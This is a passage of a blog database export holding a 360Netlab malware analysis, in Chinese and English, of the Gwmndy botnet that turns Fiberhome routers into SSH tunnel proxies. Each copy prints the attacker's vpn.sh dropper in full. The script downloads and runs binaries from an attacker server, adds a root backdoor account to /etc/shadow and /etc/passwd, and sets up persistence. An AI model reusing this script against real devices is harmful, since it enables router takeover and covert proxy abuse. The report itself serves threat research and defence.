<p>我们还观察到攻击者在Windows和Linux平台上开发了相应的客户端程序，通过访问Web接口获取Reporter上报的设备IP等信息，然后使用一些预留的后门账号密码建立SSH隧道(Dynamic Port Forwarding)，并在本地创建Socks5代理服务。我们根据攻击者使用的域名，将这些恶意软件统一命名为Gwmndy。</p>
<p>此外，与其他Botnet不同的是，攻击者并没有持续扩张Bot数量，我们猜测对于攻击者来说每天有180多个活跃的SSH隧道代理节点就已经满足他的需求了。</p>
<h3 id="gwmndy">Gwmndy概览</h3>
<p>Gwmndy恶意软件主要包括vpn.sh脚本，Reporter和SSH Client程序，并且通过一个Web服务器给它们提供相应的Web接口，用来传输Bot IP等相关信息。<br>
<a href="__GHOST_URL__/content/images/2019/07/gwmndy.png"><img src="__GHOST_URL__/content/images/2019/07/gwmndy.png" class="kg-image"/></a></p>
<h3 id="gwmndy">Gwmndy样本分析</h3>
<h4 id="vpnsh">vpn.sh样本信息</h4>
<ul>
<li>MD5: d13935ff515ffdb0682dfaad0f36419d</li>
</ul>
<blockquote>
<p>POSIX shell script text executable, ASCII text</p>
</blockquote>
<p>我们从Gwmndy Web服务器上下载到vpn.sh脚本，通过它的脚本命令，我们猜测它是Gwmndy的启动程序。</p>
<p>我们可以清晰地看到攻击者会在目标设备上运行dropbear程序，并将启动命令加入到/fh/extend/userapp.sh文件中，以此来实现自启动功能。它还会篡改shadow文件增加后门账号密码，并且运行vpnip和rinetd程序（一个开源的端口转发程序）。</p>
<pre><code class="language-sh">#!/bin/sh
if [ -f "/usr/sbin/dropbear" ];then
echo "exsit"
if [ `grep -c "dropbear -p " /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\dropbear -p 23455 &' /fh/extend/userapp.sh
fi
else
echo "not exit drop"
wget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips
chmod 777 /fh/dropbear
/fh/dropbear -p 23455 &
if [ `grep -c "/fh/dropbear -p 23455 &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh
fi
fi
#add user admin
if [ `grep -c "admin:$1$.vb9HA2F$wLuHXrsV" /etc/shadow` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow
sleep 1
fi
if [ `grep -c "admin:x:0:0:" /etc/passwd` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd
sleep 1
fi
#/usr/sbin/dropbear -p 23455 &
if [ `grep -c "/fh/vpnip &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/vpnip &' /fh/extend/userapp.sh
fi
wget -O /fh/vpnip http://43.252.231.181:30777/vpnip
chmod 777 /fh/vpnip
/fh/vpnip &
wget -O /fh/rinetd http://43.252.231.181:30777/rinetd
chmod 777 /fh/rinetd
sleep 5
#ps | grep "dropbear" | grep -v "dropbear -p" | awk '{print $1}' > /fh/pid
#pid23=`ps | grep "dropbear -p" | grep -v grep | awk '{print $1}'`
#for line in `cat /fh/pid`
#do
#echo $line
#kill $line
#done
#reboot
/bin/rm $0
</code></pre>
<h4 id="vpnip">vpnip样本信息</h4>
<ul>
<li>MD5: f878143384b3268e4c243b0ecff90c95</li>
</ul>
<blockquote>
<p>ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped</p>
</blockquote>
<p>我们将它命名为Gwmndy.Reporter，它的主要功能就是定时获取本地SSH端口，shadow密文，公网IP地址，MAC地址等信息，并上报给 <code>www.gggwmndy.org:30000/info.php</code><br>
<a href="__GHOST_URL__/content/images/2019/07/send_data.png"><img src="__GHOST_URL__/content/images/2019/07/send_data.png" class="kg-image"/></a></p>
<h4 id="linuxclient">Linux Client样本信息</h4>
<ul>
<li>MD5: 7478f835efc00ed60c2f62e0dd5baae3</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped</p>
</blockquote>
<p>通过这个样本，我们可以看到它硬编码了一个用户名密码，这使得我们可以登陆Gwmndy Web统计页面。<br>
<a href="__GHOST_URL__/content/images/2019/07/linux_login.png"><img src="__GHOST_URL__/content/images/2019/07/linux_login.png" class="kg-image"/></a></p>
<h4 id="windowssshclient">Windows SSH Client样本信息</h4>
<ul>
<li>MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782</li>
</ul>
<blockquote>
<p>PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows</p>
</blockquote>
<p>根据样本项目名，我们将它命名为Gwmndy.sshvpn。它的主要功能是访问<code>www.gggwmndy.org:30000/vsql.php</code>获取Bot IP和SSH端口等信息，建立SSH隧道，并在本地提供Socks5代理服务。</p>
<p>通过Web接口获取Bot IP和SSH端口<br>
<a href="__GHOST_URL__/content/images/2019/07/vsql.png"><img src="__GHOST_URL__/content/images/2019/07/vsql.png" class="kg-image"/></a></p>
<p>内置的SSH后门账号密码<br>
<a href="__GHOST_URL__/content/images/2019/07/ssh_acount.png"><img src="__GHOST_URL__/content/images/2019/07/ssh_acount.png" class="kg-image"/></a></p>
<p>开启SSH隧道代理（Dynamic Port Forwarding）<br>
<a href="__GHOST_URL__/content/images/2019/07/ssh_tunnel.png"><img src="__GHOST_URL__/content/images/2019/07/ssh_tunnel.png" class="kg-image"/></a></p>
<h3 id="ip">被感染的IP信息</h3>
<p>我们通过Gwmndy SSH客户端样本中硬编码的账号密码登陆Gwmndy Web服务器。这里存在一个Bot统计页面，上面共记录了431个MAC地址，422个IP地址。其中最新的创建日期为2019年3月19日，当天活跃MAC地址共181个。我们可以看到Bot创建日期主要在2019年1月至3月，目前已经没有新的Bot IP加入。<br>
<a href="__GHOST_URL__/content/images/2019/07/bot_stats.png"><img src="__GHOST_URL__/content/images/2019/07/bot_stats.png" class="kg-image"/></a></p>
<p>以下是被感染的IP 国家/地区详细列表</p>
<pre><code>PH 324
TH 98
</code></pre>
<p>我们对活跃的Bot IP进行Web指纹识别，以及通过攻击者修改Bot设备/fh/extend/userapp.sh文件信息，可以确定这些Bot都属于Fiberhome路由器，其型号为AN5506。</p>
<h3 id="">处置建议</h3>
<p>我们并没有看到Gwmndy恶意软件是如何传播的，但我们知道一些Fiberhome路由器Web系统存在弱口令，并且存在RCE漏洞。如果我们的读者有更多的信息，欢迎联系我们。</p>
<p>我们特别建议菲律宾和泰国家庭宽带用户及时更新Fiberhome路由器软件系统，同时给路由器Web设置复杂的登录凭证。</p>
<p>我们建议Fiberhome路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>样本MD5</p>
<pre><code>d13935ff515ffdb0682dfaad0f36419d
f878143384b3268e4c243b0ecff90c95
7478f835efc00ed60c2f62e0dd5baae3
d361ec6c5ea4d0f09c9ee0fdf75d6782
</code></pre>
<p>URL</p>
<pre><code>http://www.gggwmndy.org:30777/vpn.sh
</code></pre>
<p>IP</p>
<pre><code>47.89.9.33 Hong Kong ASN 45102 Alibaba (US) Technology Co., Ltd.
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年7月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前在VirusTotal上还没有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款针对Fiberhome路由器设备Reporter程序。它会定时获取设备IP等信息并上传给一个Web接口，以此来解决设备IP变更的问题。
我们还观察到攻击者在Windows和Linux平台上开发了相应的客户端程序，通过访问Web接口获取Reporter上报的设备IP等信息，然后使用一些预留的后门账号密码建立SSH隧道(Dynamic Port Forwarding)，并在本地创建Socks5代理服务。我们根据攻击者使用的域名，将这些恶意软件统一命名为Gwmndy。
此外，与其他Botnet不同的是，攻击者并没有持续扩张Bot数量，我们猜测对于攻击者来说每天有180多个活跃的SSH隧道代理节点就已经满足他的需求了。
Gwmndy概览
Gwmndy恶意软件主要包括vpn.sh脚本，Reporter和SSH Client程序，并且通过一个Web服务器给它们提供相应的Web接口，用来传输Bot IP等相关信息。
Gwmndy样本分析
vpn.sh样本信息
* MD5: d13935ff515ffdb0682dfaad0f36419d
POSIX shell script text executable, ASCII text
我们从Gwmndy Web服务器上下载到vpn.sh脚本，通过它的脚本命令，我们猜测它是Gwmndy的启动程序。
我们可以清晰地看到攻击者会在目标设备上运行dropbear程序，并将启动命令加入到/fh/extend/userapp.sh文件中，以此来实现自启动功能。它还会篡改shadow文件增加后门账号密码，并且运行vpnip和rinetd程序（一个开源的端口转发程序）。
#!/bin/sh
if [ -f "/usr/sbin/dropbear" ];then
echo "exsit"
if [ `grep -c "dropbear -p " /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\dropbear -p 23455 &' /fh/extend/userapp.sh
fi
else
echo "not exit drop"
wget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips
chmod 777 /fh/dropbear
/fh/dropbear -p 23455 &
if [ `grep -c "/fh/dropbear -p 23455 &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh
fi
fi
#add user admin
if [ `grep -c "admin:$1$.vb9HA2F$wLuHXrsV" /etc/shadow` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow
sleep 1
fi
if [ `grep -c "admin:x:0:0:" /etc/passwd` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd
sleep 1
fi
#/usr/sbin/dropbear -p 23455 &
if [ `grep -c "/fh/vpnip &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/vpnip &' /fh/extend/userapp.sh
fi
wget -O /fh/vpnip http://43.252.231.181:30777/vpnip
chmod 777 /fh/vpnip
/fh/vpnip &
wget -O /fh/rinetd http://43.252.231.181:30777/rinetd
chmod 777 /fh/rinetd
sleep 5
#ps | grep "dropbear" | grep -v "dropbear -p" | awk '{print $1}' > /fh/pid
#pid23=`ps | grep "dropbear -p" | grep -v grep | awk '{print $1}'`
#for line in `cat /fh/pid`
#do
#echo $line
#kill $line
#done
#reboot
/bin/rm $0
vpnip样本信息
* MD5: f878143384b3268e4c243b0ecff90c95
ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
我们将它命名为Gwmndy.Reporter，它的主要功能就是定时获取本地SSH端口，shadow密文，公网IP地址，MAC地址等信息，并上报给 www.gggwmndy.org:30000/info.php
Linux Client样本信息
* MD5: 7478f835efc00ed60c2f62e0dd5baae3
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped
通过这个样本，我们可以看到它硬编码了一个用户名密码，这使得我们可以登陆Gwmndy Web统计页面。
Windows SSH Client样本信息
* MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
根据样本项目名，我们将它命名为Gwmndy.sshvpn。它的主要功能是访问www.gggwmndy.org:30000/vsql.php获取Bot IP和SSH端口等信息，建立SSH隧道，并在本地提供Socks5代理服务。
通过Web接口获取Bot IP和SSH端口
内置的SSH后门账号密码
开启SSH隧道代理（Dynamic Port Forwarding）
被感染的IP信息
我们通过Gwmndy SSH客户端样本中硬编码的账号密码登陆Gwmndy Web服务器。这里存在一个Bot统计页面，上面共记录了431个MAC地址，422个IP地址。其中最新的创建日期为2019年3月19日，当天活跃MAC地址共181个。我们可以看到Bot创建日期主要在2019年1月至3月，目前已经没有新的Bot IP加入。
以下是被感染的IP 国家/地区详细列表
PH 324
TH 98
我们对活跃的Bot IP进行Web指纹识别，以及通过攻击者修改Bot设备/fh/extend/userapp.sh文件信息，可以确定这些Bot都属于Fiberhome路由器，其型号为AN5506。
处置建议
我们并没有看到Gwmndy恶意软件是如何传播的，但我们知道一些Fiberhome路由器Web系统存在弱口令，并且存在RCE漏洞。如果我们的读者有更多的信息，欢迎联系我们。
我们特别建议菲律宾和泰国家庭宽带用户及时更新Fiberhome路由器软件系统，同时给路由器Web设置复杂的登录凭证。
我们建议Fiberhome路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。
相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
d13935ff515ffdb0682dfaad0f36419d
f878143384b3268e4c243b0ecff90c95
7478f835efc00ed60c2f62e0dd5baae3
d361ec6c5ea4d0f09c9ee0fdf75d6782
URL
http://www.gggwmndy.org:30777/vpn.sh
IP
47.89.9.33 Hong Kong ASN 45102 Alibaba (US) Technology Co., Ltd.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2019年7月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前在VirusTotal上还没有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款针对Fiberhome路由器设备Reporter程序。它会定时获取设备IP等信息并上传给一个Web接口，以此来解决设备IP变更的问题。\n\n我们还观察到攻击者在Windows和Linux平台上开发了相应的客户端程序，通过访问Web接口获取Reporter上报的设备IP等信息，然后使用一些预留的后门账号密码建立SSH隧道(Dynamic Port Forwarding)，并在本地创建Socks5代理服务。我们根据攻击者使用的域名，将这些恶意软件统一命名为Gwmndy。\n\n此外，与其他Botnet不同的是，攻击者并没有持续扩张Bot数量，我们猜测对于攻击者来说每天有180多个活跃的SSH隧道代理节点就已经满足他的需求了。\n\n\n\n### Gwmndy概览\nGwmndy恶意软件主要包括vpn.sh脚本，Reporter和SSH Client程序，并且通过一个Web服务器给它们提供相应的Web接口，用来传输Bot IP等相关信息。\n<a href=\"__GHOST_URL__/content/images/2019/07/gwmndy.png\"><img src=\"__GHOST_URL__/content/images/2019/07/gwmndy.png\" class=\"kg-image\"/></a>\n\n\n### Gwmndy样本分析\n#### vpn.sh样本信息\n- MD5: d13935ff515ffdb0682dfaad0f36419d\n> POSIX shell script text executable, ASCII text\n\n我们从Gwmndy Web服务器上下载到vpn.sh脚本，通过它的脚本命令，我们猜测它是Gwmndy的启动程序。\n\n我们可以清晰地看到攻击者会在目标设备上运行dropbear程序，并将启动命令加入到/fh/extend/userapp.sh文件中，以此来实现自启动功能。它还会篡改shadow文件增加后门账号密码，并且运行vpnip和rinetd程序（一个开源的端口转发程序）。\n\n```sh\n#!/bin/sh\nif [ -f \"/usr/sbin/dropbear\" ];then\necho \"exsit\"\nif [ `grep -c \"dropbear -p \" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\dropbear -p 23455 &' /fh/extend/userapp.sh\nfi\n\nelse\necho \"not exit drop\"\nwget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips\nchmod 777 /fh/dropbear\n/fh/dropbear -p 23455 &\nif [ `grep -c \"/fh/dropbear -p 23455 &\" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh\nfi\n\nfi\n#add user admin\nif [ `grep -c \"admin:$1$.vb9HA2F$wLuHXrsV\" /etc/shadow` -gt '0' ]; then\n\techo \"Found!\"\nelse\n\techo \"Not Found\"\n\tsed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow\nsleep 1\nfi\n\nif [ `grep -c \"admin:x:0:0:\" /etc/passwd` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd\nsleep 1\nfi\n#/usr/sbin/dropbear -p 23455 &\nif [ `grep -c \"/fh/vpnip &\" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\/fh/vpnip &' /fh/extend/userapp.sh\nfi\nwget -O /fh/vpnip http://43.252.231.181:30777/vpnip\nchmod 777 /fh/vpnip\n/fh/vpnip &\nwget -O /fh/rinetd http://43.252.231.181:30777/rinetd\nchmod 777 /fh/rinetd\nsleep 5\n#ps | grep \"dropbear\" | grep -v \"dropbear -p\" | awk '{print $1}' > /fh/pid\n#pid23=`ps | grep \"dropbear -p\" | grep -v grep | awk '{print $1}'`\n#for line in `cat /fh/pid`\n#do\n#echo $line\n#kill $line\n#done\n#reboot\n/bin/rm $0\n```\n\n\n#### vpnip样本信息\n- MD5: f878143384b3268e4c243b0ecff90c95\n> ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped\n\n我们将它命名为Gwmndy.Reporter，它的主要功能就是定时获取本地SSH端口，shadow密文，公网IP地址，MAC地址等信息，并上报给 ```www.gggwmndy.org:30000/info.php```\n<a href=\"__GHOST_URL__/content/images/2019/07/send_data.png\"><img src=\"__GHOST_URL__/content/images/2019/07/send_data.png\" class=\"kg-image\"/></a>\n\n\n#### Linux Client样本信息\n- MD5: 7478f835efc00ed60c2f62e0dd5baae3\n> ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped\n\n通过这个样本，我们可以看到它硬编码了一个用户名密码，这使得我们可以登陆Gwmndy Web统计页面。\n<a href=\"__GHOST_URL__/content/images/2019/07/linux_login.png\"><img src=\"__GHOST_URL__/content/images/2019/07/linux_login.png\" class=\"kg-image\"/></a>\n\n\n#### Windows SSH Client样本信息\n- MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782\n> PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\n\n根据样本项目名，我们将它命名为Gwmndy.sshvpn。它的主要功能是访问```www.gggwmndy.org:30000/vsql.php```获取Bot IP和SSH端口等信息，建立SSH隧道，并在本地提供Socks5代理服务。\n\n通过Web接口获取Bot IP和SSH端口\n<a href=\"__GHOST_URL__/content/images/2019/07/vsql.png\"><img src=\"__GHOST_URL__/content/images/2019/07/vsql.png\" class=\"kg-image\"/></a>\n\n内置的SSH后门账号密码\n<a href=\"__GHOST_URL__/content/images/2019/07/ssh_acount.png\"><img src=\"__GHOST_URL__/content/images/2019/07/ssh_acount.png\" class=\"kg-image\"/></a>\n\n开启SSH隧道代理（Dynamic Port Forwarding）\n<a href=\"__GHOST_URL__/content/images/2019/07/ssh_tunnel.png\"><img src=\"__GHOST_URL__/content/images/2019/07/ssh_tunnel.png\" class=\"kg-image\"/></a>\n\n\n### 被感染的IP信息\n我们通过Gwmndy SSH客户端样本中硬编码的账号密码登陆Gwmndy Web服务器。这里存在一个Bot统计页面，上面共记录了431个MAC地址，422个IP地址。其中最新的创建日期为2019年3月19日，当天活跃MAC地址共181个。我们可以看到Bot创建日期主要在2019年1月至3月，目前已经没有新的Bot IP加入。\n<a href=\"__GHOST_URL__/content/images/2019/07/bot_stats.png\"><img src=\"__GHOST_URL__/content/images/2019/07/bot_stats.png\" class=\"kg-image\"/></a>\n\n以下是被感染的IP 国家/地区详细列表\n\n```\nPH 324\nTH 98\n```\n\n我们对活跃的Bot IP进行Web指纹识别，以及通过攻击者修改Bot设备/fh/extend/userapp.sh文件信息，可以确定这些Bot都属于Fiberhome路由器，其型号为AN5506。\n\n\n### 处置建议\n我们并没有看到Gwmndy恶意软件是如何传播的，但我们知道一些Fiberhome路由器Web系统存在弱口令，并且存在RCE漏洞。如果我们的读者有更多的信息，欢迎联系我们。\n\n我们特别建议菲律宾和泰国家庭宽带用户及时更新Fiberhome路由器软件系统，同时给路由器Web设置复杂的登录凭证。\n\n我们建议Fiberhome路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n### IoC list\n样本MD5\n```\nd13935ff515ffdb0682dfaad0f36419d\nf878143384b3268e4c243b0ecff90c95\n7478f835efc00ed60c2f62e0dd5baae3\nd361ec6c5ea4d0f09c9ee0fdf75d6782\n```\n\nURL\n```\nhttp://www.gggwmndy.org:30777/vpn.sh\n```\n\nIP\n```\n47.89.9.33 \tHong Kong \tASN 45102 \tAlibaba (US) Technology Co., Ltd.\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d3fbb080bbc140007c57e00 |
post | null | 2019-07-30T03:36:27.000Z | 63873b9a8b1c1e0007f52f54 | some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2 | 0 | 2022-02-09T07:11:11.000Z | public | published | null | 2019-08-02T12:00:00.000Z | Some Fiberhome routers are being utilized as SSH tunneling proxy nodes | <!--kg-card-begin: markdown--><h3 id="backgroundintroduction">Background introduction</h3>
<p>On July 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file with 0 VirusTotal detection.</p>
<p>When we further looked into it, we realized it is a component of an IoT botnet targeting Fiberhome router. But it does not do the regular stuff such as DDos, Cryptojacking, Spaming, information stealing. Its’ only purpose is to setup the routers to be SSH tunneling proxy nodes. Also, unlike the typical botnets which try their best to infect as many victims as they can, this one has pretty much stopped looking for new bots after its’ active daily bot number reached low 200. It seems that the author is satisfied with the number which probably provides enough proxy service for whatever purpose he needs.</p>
<p>The ELF file itself is a Reporter, it periodically obtains the router information such as device IP and uploads them to a remote web interface so the author can get a hold of the device even the router IP changes.</p>
<p>Correspondingly, we also observed that the attacker developed client program on the Windows and Linux platforms, they access a remote Web interface to obtain information such as the device IP reported by the Reporter, and then use backdoor passwords to establish an SSH tunnel (Dynamic Port Forwarding). And create a Socks5 proxy service locally. We named these malware Gwmndy based on the domain name used by the attacker.</p>
<h3 id="gwmndyoverview">Gwmndy overview</h3>
<p>Gwmndy contains mainly vpn.sh, Reporter and SSH Client programs, and provides a corresponding web interface through a web server to transmit information such as Bot IPs.<br>
<a href="__GHOST_URL__/content/images/2019/07/gwmndy.png"><img src="__GHOST_URL__/content/images/2019/07/gwmndy.png" class="kg-image"/></a></p>
<h3 id="gwmndyreverseanalysis">Gwmndy Reverse Analysis</h3>
<h4 id="vpnshsampleinformation">vpn.sh sample information</h4>
<ul>
<li>MD5: d13935ff515ffdb0682dfaad0f36419d</li>
</ul>
<blockquote>
<p>POSIX shell script text executable, ASCII text</p>
</blockquote>
<p>We can clearly see that the attacker runs the dropbear program on the target router and adds the startup command to the /fh/extend/userapp.sh file. It also tampers with the shadow file to add the backdoor account, and runs vpnip (see below) and an open source port forwarder program rinetd.</p>
<pre><code class="language-sh">#!/bin/sh
if [ -f "/usr/sbin/dropbear" ];then
echo "exsit"
if [ `grep -c "dropbear -p " /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\dropbear -p 23455 &' /fh/extend/userapp.sh
fi
else
echo "not exit drop"
wget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips
chmod 777 /fh/dropbear
/fh/dropbear -p 23455 &
if [ `grep -c "/fh/dropbear -p 23455 &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh
fi
fi
#add user admin
if [ `grep -c "admin:$1$.vb9HA2F$wLuHXrsV" /etc/shadow` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow
sleep 1
fi
if [ `grep -c "admin:x:0:0:" /etc/passwd` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd
sleep 1
fi
#/usr/sbin/dropbear -p 23455 &
if [ `grep -c "/fh/vpnip &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/vpnip &' /fh/extend/userapp.sh
fi
wget -O /fh/vpnip http://43.252.231.181:30777/vpnip
chmod 777 /fh/vpnip
/fh/vpnip &
wget -O /fh/rinetd http://43.252.231.181:30777/rinetd
chmod 777 /fh/rinetd
sleep 5
#ps | grep "dropbear" | grep -v "dropbear -p" | awk '{print $1}' > /fh/pid
#pid23=`ps | grep "dropbear -p" | grep -v grep | awk '{print $1}'`
#for line in `cat /fh/pid`
#do
#echo $line
#kill $line
#done
#reboot
/bin/rm $0
</code></pre>
<h4 id="vpnipsampleinformation">vpnip sample information</h4>
<ul>
<li>MD5: f878143384b3268e4c243b0ecff90c95</li>
</ul>
<blockquote>
<p>ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped</p>
</blockquote>
<p>We named it Gwmndy.Reporter, its main function is to periodically obtain device information such as the local SSH port, shadow password, public IP address, MAC address, and report it back to <code>www.gggwmndy.org:30000/info.php</code><br>
<a href="__GHOST_URL__/content/images/2019/07/send_data.png"><img src="__GHOST_URL__/content/images/2019/07/send_data.png" class="kg-image"/></a></p>
<h4 id="linuxclientsampleinformation">Linux Client sample information</h4>
<ul>
<li>MD5: 7478f835efc00ed60c2f62e0dd5baae3</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped</p>
</blockquote>
<p>Interestingly, the sample has hard-coded username and password, which allows us to access the Gwmndy Web statistics page.<br>
<a href="__GHOST_URL__/content/images/2019/07/linux_login.png"><img src="__GHOST_URL__/content/images/2019/07/linux_login.png" class="kg-image"/></a></p>
<h4 id="windowssshclientsampleinformation">Windows SSH Client sample information</h4>
<ul>
<li>MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782</li>
</ul>
<blockquote>
<p>PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows</p>
</blockquote>
<p>Its main function is to access<code>www.gggwmndy.org:30000/vsql.php</code>to pull Bot IP and SSH ports, with that, SSH tunnel then can be established, and Socks5 proxy service will start locally.</p>
<p>Obtain the Bot IP and SSH ports through the web interface.<br>
<a href="__GHOST_URL__/content/images/2019/07/vsql.png"><img src="__GHOST_URL__/content/images/2019/07/vsql.png" class="kg-image"/></a></p>
<p>Built-in SSH backdoor account<br>
<a href="__GHOST_URL__/content/images/2019/07/ssh_acount.png"><img src="__GHOST_URL__/content/images/2019/07/ssh_acount.png" class="kg-image"/></a></p>
<p>Enable SSH Tunnel (Dynamic Port Forwarding)<br>
<a href="__GHOST_URL__/content/images/2019/07/ssh_tunnel.png"><img src="__GHOST_URL__/content/images/2019/07/ssh_tunnel.png" class="kg-image"/></a></p>
<h3 id="infectedipinformation">Infected IP information</h3>
<p>We access the Gwmndy web server via the hard-coded account as mentioned above. And we could see a Bot statistics page with 431 MAC addresses and 422 IP addresses recorded. The latest creation date was March 19, 2019, which means the botnet stopped adding new members since that time, and there were 181 active MAC addresses.<br>
<a href="__GHOST_URL__/content/images/2019/07/bot_stats.png"><img src="__GHOST_URL__/content/images/2019/07/bot_stats.png" class="kg-image"/></a></p>
<p>All the infected devices are located in two countries.</p>
<pre><code>PH 324
TH 98
</code></pre>
<p>We performed web fingerprinting on the active Bot IPs and modify the information of the Bot device /fh/extend/userapp.sh file by the attacker. It can be determined that these devices are all Fiberhome router, and its model number is AN5506.</p>
<h3 id="suggestions">Suggestions</h3>
<p>We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities. If our readers have more information, please feel free to contact us and provide more information on that.</p>
<p>We especially recommend that the home broadband users in the Philippines and Thailand to update the Fiberhome router software system in a timely manner, and set up complex login credentials for the router Web.</p>
<p>Relevant security organizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p>
<h4 id="contactus">Contact us</h4>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>Sample MD5</p>
<pre><code>d13935ff515ffdb0682dfaad0f36419d
f878143384b3268e4c243b0ecff90c95
7478f835efc00ed60c2f62e0dd5baae3
d361ec6c5ea4d0f09c9ee0fdf75d6782
</code></pre>
<p>URL</p>
<pre><code>http://www.gggwmndy.org:30777/vpn.sh
</code></pre>
<p>IP</p>
<pre><code>47.89.9.33 Hong Kong ASN 45102 Alibaba (US) Technology Co., Ltd.
</code></pre>
<!--kg-card-end: markdown--> | Background introduction
